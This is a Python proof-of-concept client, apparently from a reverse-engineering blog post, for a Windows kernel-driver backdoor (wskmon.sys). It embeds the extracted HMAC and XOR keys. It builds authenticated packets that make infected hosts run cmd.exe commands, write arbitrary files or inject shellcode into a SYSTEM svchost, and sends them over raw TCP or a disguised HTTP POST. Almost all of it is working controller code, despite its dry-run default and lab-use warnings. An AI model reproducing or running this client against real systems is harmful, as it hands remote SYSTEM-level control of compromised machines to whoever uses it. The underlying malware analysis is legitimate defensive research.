密码学材料 (反编译自 g_HmacSha256Key @ 0x140005558 / g_XorCipherTable @ 0x140005470):
  HMAC_KEY = A3 91 5B D7 0E 62 C4 88 3F 1A 7D E6 50 B9 2C F5
             6E 83 47 DA 15 AC 79 0B C1 58 34 EF 96 2D 4A 71
  XOR_KEY  = D2 47 8A 1E F3 6B C0 95 54 29 E7 3D 81 AF 66 0C
             B8 72 1F E4 43 9D 5E 28 A6 0D 73 C9 3B 84 F1 52

Payload 布局:
  Type 0x01 (shell):     命令字符串 (驱动自动前缀 "cmd.exe /c "),上限 0x1000
  Type 0x02 (file_write): [2B BE path_len][UTF-8 path][file content],上限 0xA00000
  Type 0x03 (shellcode): 原始 shellcode 字节,上限 0xA00000

传输模式 (反编译自 classifyFn 双路检测):
  raw  : 裸 TCP,magic 必须在流开头
  http : HTTP POST,驱动扫描 body 前 0x400 字节找 magic

警告:
  本脚本仅用于逆向分析验证与防御研究,需在隔离的实验环境中
  针对 consenting 目标运行。请勿用于未授权系统。

用法示例:
  # 1. 干跑 (默认):构造包并打印协议解析,不发送
  python poc_ntf_client.py shell --cmd "calc.exe" --dry-run
  python poc_ntf_client.py file --path "C:\\\\Users\\\\Public\\\\test.txt" --content "hello" --dry-run
  python poc_ntf_client.py shellcode --file w64-exec-calc-shellcode-esp-clean-func.bin --dry-run

  # 2. 实际发送 (需指定 --send,默认走 HTTP POST)
  python poc_ntf_client.py shell --cmd "notepad.exe" --target 192.168.56.115:8000 --send
  python poc_ntf_client.py shell --cmd "notepad.exe" --target 192.168.56.115:8000 --transport raw --send
  python poc_ntf_client.py shellcode --file w64-exec-calc-shellcode-esp-clean-func.bin --target 192.168.56.115:8000 --send
"""

import argparse
import hashlib
import hmac
import socket
import sys
from pathlib import Path

# ============================================================
# 常量 (反编译自驱动 .rdata / .data 段)
# ============================================================

MAGIC = bytes.fromhex('7f4e5446')  # "\x7FNTF"  @ classifyFn 0x1400014cc

HMAC_KEY = bytes.fromhex(
    'a3915bd70e62c4883f1a7de650b92cf5'
    '6e8347da15ac790bc15834ef962d4a71'
)  # g_HmacSha256Key @ 0x140005558

XOR_KEY = bytes.fromhex(
    'd2478a1ef36bc0955429e73d81af660c'
    'b8721fe4439d5e28a60d73c93b84f152'
)  # g_XorCipherTable @ 0x140005470

CMD_SHELL     = 0x01
CMD_FILE_WRITE = 0x02
CMD_SHELLCODE = 0x03

# 各命令类型的 payload 上限 (反编译自 classifyFn 0x140001660)
PAYLOAD_LIMITS = {
    CMD_SHELL:      0x1000,     # 4 KB
    CMD_FILE_WRITE: 0xA00000,  # ~10 MB
    CMD_SHELLCODE:  0xA00000,  # ~10 MB
}

# 流总长度上限 (反编译自 classifyFn: magic_offset + 0xA00029)
STREAM_MAX = 0xA00029


# ============================================================
# 协议原语
# ============================================================

def xor_cipher(data: bytes) -> bytes:
    """旋转 XOR 加解密 (32 字节循环),反编译自 WorkerRoutine 0x140001289/0x1400012fe。

    payload[i] ^= XOR_KEY[i & 0x1F]
    XOR 与 RC4 等流密码不同,无内部状态,加解密同函数。
    """
    return bytes(b ^ XOR_KEY[i & 0x1F] for i, b in enumerate(data))


def compute_hmac(cmd_type: int, encrypted_payload: bytes) -> bytes:
    """HMAC-SHA256,反编译自 VerifyHmacSha256 0x140001BF0。

    输入 = [1B cmd_type || encrypted_payload]
    密钥 = HMAC_KEY (32B,作为 BCryptCreateHash 的 pbSecret)

    注意:HMAC 计算于密文之上 (XOR 解密之前),防止未授权指令注入。
    """
    h = hmac.new(HMAC_KEY, digestmod=hashlib.sha256)
    h.update(bytes([cmd_type]))        # BCryptHashData(&pbInput, 1, 0)
    h.update(encrypted_payload)        # BCryptHashData(a2, a3, 0)
    return h.digest()                  # 32 bytes


def build_ntf_packet(cmd_type: int, payload: bytes) -> bytes:
    """构造完整 NTF 数据包。

    包结构: [magic(4)][cmd_type(1)][HMAC(32)][len(4 BE)][encrypted_payload(N)]
    头部固定长度 = 0x29 = 41 字节。
    """
    if len(payload) > PAYLOAD_LIMITS[cmd_type]:
        raise ValueError(
            f"payload 太大: {len(payload)} > {PAYLOAD_LIMITS[cmd_type]:#x} "
            f"(cmd_type={cmd_type:#x})"
        )

    encrypted = xor_cipher(payload)
    mac = compute_hmac(cmd_type, encrypted)
    size = len(encrypted).to_bytes(4, 'big')

    packet = MAGIC + bytes([cmd_type]) + mac + size + encrypted

    total_cap = STREAM_MAX
    if len(packet) > total_cap:
        raise ValueError(f"整包超长: {len(packet)} > {total_cap:#x}")
    return packet


# ============================================================
# 各命令类型的 payload 构造器
# ============================================================

def build_shell_payload(command: str) -> bytes:
    """Type 0x01: 命令字符串。

    驱动在 ExecuteShellCmdInSvchost 中自动前缀 'cmd.exe /c ',因此
    调用方只需提供命令本身 (例: 'notepad.exe' / 'calc.exe')。
    编码:UTF-8 (PsGetProcessPeb 解析的 RtlCreateUserThread 不关心编码,
    WinExec 内部按 ANSI 处理,因此纯 ASCII 命令最稳妥)。
    """
    return command.encode('utf-8')


def build_file_write_payload(path: str, content: bytes) -> bytes:
    """Type 0x02: 任意文件写入。

    反编译自 WriteFileFromKernel 0x1400027F0:
      [2B BE path_len][path_len UTF-8 字节][文件内容]

    驱动在路径前强制加 '\\??\\' 前缀 (绕过 DOS 路径),所以调用方
    只需提供普通路径 (例: 'C:\\\\Windows\\\\Temp\\\\test.txt')。
    路径长度上限: 0x104 (反编译自 unsigned __int16 检查)。
    """
    path_bytes = path.encode('utf-8')
    if len(path_bytes) == 0 or len(path_bytes) > 0x104:
        raise ValueError(f"路径长度非法: {len(path_bytes)} (须 1..0x104)")
    path_len = len(path_bytes).to_bytes(2, 'big')
    return path_len + path_bytes + content


def build_shellcode_payload(shellcode: bytes) -> bytes:
    """Type 0x03: 原始 shellcode。

    反编译自 ExecuteShellcodeInSvchost 0x140002040:
      - 在 SYSTEM svchost 内 ZwAllocateVirtualMemory(Protect=0x40 PAGE_EXECUTE_READWRITE)
      - memcpy_simd 复制 shellcode 到 RWX 内存
      - CreateRemoteThreadInProcess(start=buffer_base, arg=NULL)
    因此 shellcode 须为位置无关代码 (PIC),入口即为缓冲区起始。
    """
    return shellcode


# ============================================================
# 传输层
# ============================================================

def send_raw_tcp(target_host: str, target_port: int, ntf_packet: bytes) -> None:
    """裸 TCP 传输:NTF 包直接作为流首部发送。

    反编译自 classifyFn 路径 A (0x1400014cc):流首 4 字节 == 0x7F。
    适合任意 TCP 服务 (RDP/SSH/SMB/任意监听端口)。
    """
    print(f"[*] 裸 TCP 模式: 连接 {target_host}:{target_port}")
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(10)
        s.connect((target_host, target_port))
        s.sendall(ntf_packet)
    print(f"[+] 已发送 {len(ntf_packet)} 字节")


def send_http_post(target_host: str, target_port: int, ntf_packet: bytes,
                   uri: str = '/') -> None:
    """HTTP POST 传输:NTF 包嵌入 POST body。

    反编译自 classifyFn 路径 B (0x140001563):首 4 字节须为 'POST',
    驱动扫描 body 前 0x400 字节寻找 magic。

    HTTP 响应被驱动忽略 — 包在 HTTP 服务处理前已被 WFP callout 消费
    (actionType=0x1001 FWP_ACTION_FLAG_CALLOUT_TERMINATING)。
    """
    http_request = (
        f"POST {uri} HTTP/1.1\r\n"
        f"Host: {target_host}:{target_port}\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {len(ntf_packet)}\r\n"
        f"\r\n"
    ).encode() + ntf_packet

    print(f"[*] HTTP POST 模式: 连接 {target_host}:{target_port}{uri}")
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.settimeout(10)
        s.connect((target_host, target_port))
        s.sendall(http_request)
    print(f"[+] 已发送 {len(http_request)} 字节 (HTTP 头 + {len(ntf_packet)} 字节 NTF 包)")


# ============================================================
# 协议解析 (用于 dry-run 验证)
# ============================================================

def parse_ntf_packet(packet: bytes) -> dict:
    """解析 NTF 包,用于验证构造正确性。"""
    if len(packet) < 0x29:
        raise ValueError(f"包太短: {len(packet)} < 0x29")
    magic = packet[0:4]
    cmd_type = packet[4]
    mac = packet[5:5+32]
    length = int.from_bytes(packet[0x25:0x29], 'big')
    encrypted = packet[0x29:0x29+length]
    decrypted = xor_cipher(encrypted)
    expected_mac = compute_hmac(cmd_type, encrypted)
    return {
        'magic': magic,
        'magic_ok': magic == MAGIC,
        'cmd_type': cmd_type,
        'hmac': mac,
        'hmac_ok': mac == expected_mac,
        'payload_len': length,
        'encrypted_payload': encrypted,
        'decrypted_payload': decrypted,
        'total_size': len(packet),
    }


def hexdump(data: bytes, prefix: str = '    ') -> str:
    lines = []
    for i in range(0, len(data), 16):
        chunk = data[i:i+16]
        hex_part = ' '.join(f'{b:02x}' for b in chunk)
        ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
        lines.append(f"{prefix}{i:08x}  {hex_part:<48}  {ascii_part}")
    return '\n'.join(lines)


def print_packet_analysis(packet: bytes, cmd_type: int, raw_payload: bytes) -> None:
    """dry-run:详细打印协议解析,验证构造正确性。"""
    print("=" * 72)
    print("NTF 数据包分析 (dry-run,未发送)")
    print("=" * 72)

    parsed = parse_ntf_packet(packet)

    print(f"\n[1] 协议头 ({0x29} 字节)")
    print(f"    Magic        : {parsed['magic'].hex()} ({parsed['magic']!r})  "
          f"{'✓' if parsed['magic_ok'] else '✗'}")
    print(f"    cmd_type     : 0x{parsed['cmd_type']:02x}  "
          f"({ {1:'shell',2:'file_write',3:'shellcode'}.get(parsed['cmd_type'],'?') })")
    print(f"    HMAC-SHA256  : {parsed['hmac'].hex()}")
    print(f"    HMAC 校验    : {'✓ 通过 (与重算结果一致)' if parsed['hmac_ok'] else '✗ 失败'}")
    print(f"    Payload len  : {parsed['payload_len']} (0x{parsed['payload_len']:x}) 字节 (大端)")

    print(f"\n[2] 原始 payload ({len(raw_payload)} 字节,加密前)")
    print(f"    上限检查    : {len(raw_payload)} / {PAYLOAD_LIMITS[cmd_type]:#x} "
          f"({'✓' if len(raw_payload) <= PAYLOAD_LIMITS[cmd_type] else '✗'})")

    if cmd_type == CMD_SHELL:
        print(f"    命令字符串   : {raw_payload.decode('utf-8', errors='replace')!r}")
        print(f"    驱动将执行   : cmd.exe /c {raw_payload.decode('utf-8', errors='replace')}")
    elif cmd_type == CMD_FILE_WRITE:
        path_len = int.from_bytes(raw_payload[0:2], 'big')
        path = raw_payload[2:2+path_len].decode('utf-8', errors='replace')
        content = raw_payload[2+path_len:]
        print(f"    路径长度     : {path_len}")
        print(f"    文件路径     : {path}")
        print(f"    驱动将写入   : \\??\\{path}")
        print(f"    文件内容     : {len(content)} 字节")
        if len(content) <= 64:
            print(f"    内容 hex     : {content.hex()}")
            print(f"    内容 ascii   : {content.decode('utf-8', errors='replace')!r}")
    elif cmd_type == CMD_SHELLCODE:
        print(f"    Shellcode 大小: {len(raw_payload)} 字节")
        print(f"    驱动将       : ZwAllocateVirtualMemory(PAGE_EXECUTE_READWRITE) "
              f"+ CreateRemoteThread(start=buf_base)")

    print(f"\n[3] XOR 加密后的 payload ({len(parsed['encrypted_payload'])} 字节)")
    print(hexdump(parsed['encrypted_payload'][:128]))
    if len(parsed['encrypted_payload']) > 128:
        print(f"    ... ({len(parsed['encrypted_payload']) - 128} 字节省略)")

    print(f"\n[4] 完整 NTF 数据包 ({parsed['total_size']} 字节)")
    print(hexdump(packet[:160]))
    if len(packet) > 160:
        print(f"    ... ({len(packet) - 160} 字节省略)")

    print(f"\n[5] 协议约束自检")
    checks = [
        ('Magic = 7F 4E 54 46',           parsed['magic_ok']),
        ('cmd_type ∈ {1,2,3}',             parsed['cmd_type'] in (1, 2, 3)),
        ('HMAC 重算一致',                  parsed['hmac_ok']),
        ('Payload 长度匹配',              parsed['payload_len'] == len(raw_payload)),
        ('Payload 未超上限',              len(raw_payload) <= PAYLOAD_LIMITS[cmd_type]),
        ('整包长度 ≤ magic_off+0xA00029', parsed['total_size'] <= STREAM_MAX),
    ]
    for name, ok in checks:
        print(f"    [{'✓' if ok else '✗'}] {name}")
    print("=" * 72)


# ============================================================
# CLI
# ============================================================

def parse_target(target: str):
    """解析 host:port 字符串。"""
    if ':' not in target:
        raise argparse.ArgumentTypeError(f"目标格式应为 host:port,得到: {target}")
    host, port = target.rsplit(':', 1)
    return host, int(port)


def cmd_shell(args):
    command = args.cmd
    payload = build_shell_payload(command)
    packet = build_ntf_packet(CMD_SHELL, payload)

    if args.dry_run:
        print_packet_analysis(packet, CMD_SHELL, payload)
    else:
        host, port = parse_target(args.target)
        if args.transport == 'raw':
            send_raw_tcp(host, port, packet)
        else:
            send_http_post(host, port, packet)


def cmd_file(args):
    if args.content is not None:
        content = args.content.encode('utf-8')
    elif args.input_file:
        content = Path(args.input_file).read_bytes()
    else:
        content = b''

    payload = build_file_write_payload(args.path, content)
    packet = build_ntf_packet(CMD_FILE_WRITE, payload)

    if args.dry_run:
        print_packet_analysis(packet, CMD_FILE_WRITE, payload)
    else:
        host, port = parse_target(args.target)
        if args.transport == 'raw':
            send_raw_tcp(host, port, packet)
        else:
            send_http_post(host, port, packet)


def cmd_shellcode(args):
    shellcode = Path(args.file).read_bytes()
    if not shellcode:
        raise SystemExit(f"shellcode 文件为空: {args.file}")
    payload = build_shellcode_payload(shellcode)
    packet = build_ntf_packet(CMD_SHELLCODE, payload)

    if args.dry_run:
        print_packet_analysis(packet, CMD_SHELLCODE, payload)
    else:
        host, port = parse_target(args.target)
        if args.transport == 'raw':
            send_raw_tcp(host, port, packet)
        else:
            send_http_post(host, port, packet)


def main():
    parser = argparse.ArgumentParser(
        description='wskmon.sys WFP 后门 PoC 客户端 (逆向分析验证用)',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=__doc__,
    )
    sub = parser.add_subparsers(dest='command', required=True)

    # 通用参数 (添加到每个子命令)
    def add_common(p):
        p.add_argument('--target', default='192.168.56.115:8000',
                       help='目标 host:port (默认: 192.168.56.115:8000,参考 gistfile1)')
        p.add_argument('--transport', choices=['http', 'raw'], default='http',
                       help='传输模式: http=HTTP POST 隐藏 / raw=裸 TCP (默认: http)')
        p.add_argument('--send', action='store_true',
                       help='实际发送 (否则默认 dry-run 只验证协议构造)')
        p.add_argument('--dry-run', action='store_true',
                       help='强制 dry-run (即使 --send 也只验证)')

    # shell
    p_shell = sub.add_parser('shell', help='Type 0x01: 命令执行 (cmd.exe /c <cmd>)')
    p_shell.add_argument('--cmd', required=True,
                         help='命令字符串 (例: "calc.exe" / "notepad.exe")')
    add_common(p_shell)
    p_shell.set_defaults(func=cmd_shell)

    # file
    p_file = sub.add_parser('file', help='Type 0x02: 任意文件写入')
    p_file.add_argument('--path', required=True,
                       help='目标路径 (例: "C:\\\\Users\\\\Public\\\\test.txt")')
    grp = p_file.add_mutually_exclusive_group()
    grp.add_argument('--content', help='写入的文本内容')
    grp.add_argument('--input-file', help='从文件读取要写入的内容 (二进制安全)')
    add_common(p_file)
    p_file.set_defaults(func=cmd_file)

    # shellcode
    p_sc = sub.add_parser('shellcode', help='Type 0x03: shellcode 执行')
    p_sc.add_argument('--file', required=True,
                      help='shellcode 二进制文件 (例: w64-exec-calc-shellcode-esp-clean-func.bin)')
    add_common(p_sc)
    p_sc.set_defaults(func=cmd_shellcode)

    args = parser.parse_args()

    # 安全默认:未指定 --send 时一律 dry-run
    if not args.send:
        args.dry_run = True

    # 安全横幅
    if not args.dry_run:
        print("=" * 72)
        print("警告: 实际发送模式")
        print("  - 仅在隔离实验环境中针对 consenting 目标运行")
        print("  - 目标: {}:{}".format(*parse_target(args.target)))
        print("  - 传输: {}".format(args.transport))
        print("=" * 72)
        try:
            input("按回车继续,Ctrl+C 取消... ")
        except KeyboardInterrupt:
            print("\n已取消")
            sys.exit(0)

    args.func(args)


if __name__ == '__main__':
    main()

posted @ 2026-06-30 11:06  DirWangK  阅读(13)  评论(0)    收藏  举报